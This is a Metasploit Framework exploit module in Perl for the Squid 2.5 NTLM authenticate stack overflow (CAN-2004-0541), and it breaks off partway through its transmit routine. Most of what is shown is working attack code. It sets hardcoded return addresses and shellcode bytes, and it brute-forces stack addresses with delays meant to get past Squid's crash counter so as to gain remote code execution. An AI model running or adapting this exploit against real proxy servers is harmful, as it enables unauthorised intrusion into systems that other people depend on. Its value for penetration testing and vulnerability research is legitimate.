Squid <= 2.5.*-STABLE NTLM authenticate Remote Overflow Exploit
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::squid_ntlm_authenticate;
use strict;
use base "Msf::Exploit";
my $advanced =
{
'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.' ],
'StackTop' => [ '0xbffffffc', 'Stop address for stack ret.' ],
'StackStep' => [ 0, 'Number of bytes to increment between steps.'],
'BruteWait' => [ 15, "Length of time to wait between brutes. " .
"15 is recommend as squid has a failure " .
"count tracker to exit on many segvs" ],
};
my $info =
{
'Name' => 'Squid NTLM Authenticate Overflow',
'Version' => '$Revision: 1.7.2.2 $',
'Authors' =>
[
'skape <mmiller [at] hick.org>'
],
'Description' =>
qq{
This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
Due to improper bounds checking in ntlm_check_auth, it is possible to
overflow the 'pass' variable on the stack with user controlled data of
a user defined length. Props to iDEFENSE for the advisory.
},
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target proxy server address' ],
'RPORT' => [ 1, 'PORT', 'The target proxy server port' ],
},
'Payload' =>
{
'Space' => 300 - 44, # can be more, but requires code mod
'MinNops' => 16,
'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
"\xb0\x30\x41\xcd\x80",
},
'Refs' =>
[
'http://www.idefense.com/application/poi/display?id=107',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0541',
],
'DefaultTarget' => -1,
'Targets' =>
[
[ 'Brute force', 0x0, 0x0 ],
[ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
],
};
sub new
{
my $class = shift;
my $self;
$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);
return $self;
}
sub Exploit
{
my $self = shift;
my $targetIdx = $self->GetVar('TARGET');
my $payload = $self->GetVar('EncodedPayload');
my $shellcode = $payload->Payload;
my $target = $self->Targets->[$targetIdx];
my $ret = $target->[1];
my $valid = $target->[2];
my $s = undef;
$self->PrintLine('[*] Trying exploit target ' . $target->[0]);
if ($target->[0] eq 'Brute force')
{
my $stackTop = hex($self->GetLocal('StackTop'));
my $stackBottom = hex($self->GetLocal('StackBottom'));
my $stackStep = $self->GetLocal('StackStep');
my $wait = $self->GetLocal('BruteWait');
$stackStep = $payload->NopsLength if ($stackStep == 0);
for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
$ret < $stackTop;
$ret += $stackStep, $valid += $stackStep)
{
$self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
last if (defined($s = $self->transmitExploit(target => $target,
shellcode => $shellcode, ret => $ret, valid => $valid)));
sleep($wait);
}
}
else
{
$s = $self->transmitExploit(target => $target,
shellcode => $shellcode, ret => $ret, valid => $valid);
}
$self->Handler($s) if (defined($s));
}
sub transmitExploit
{
my $self = shift;
my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid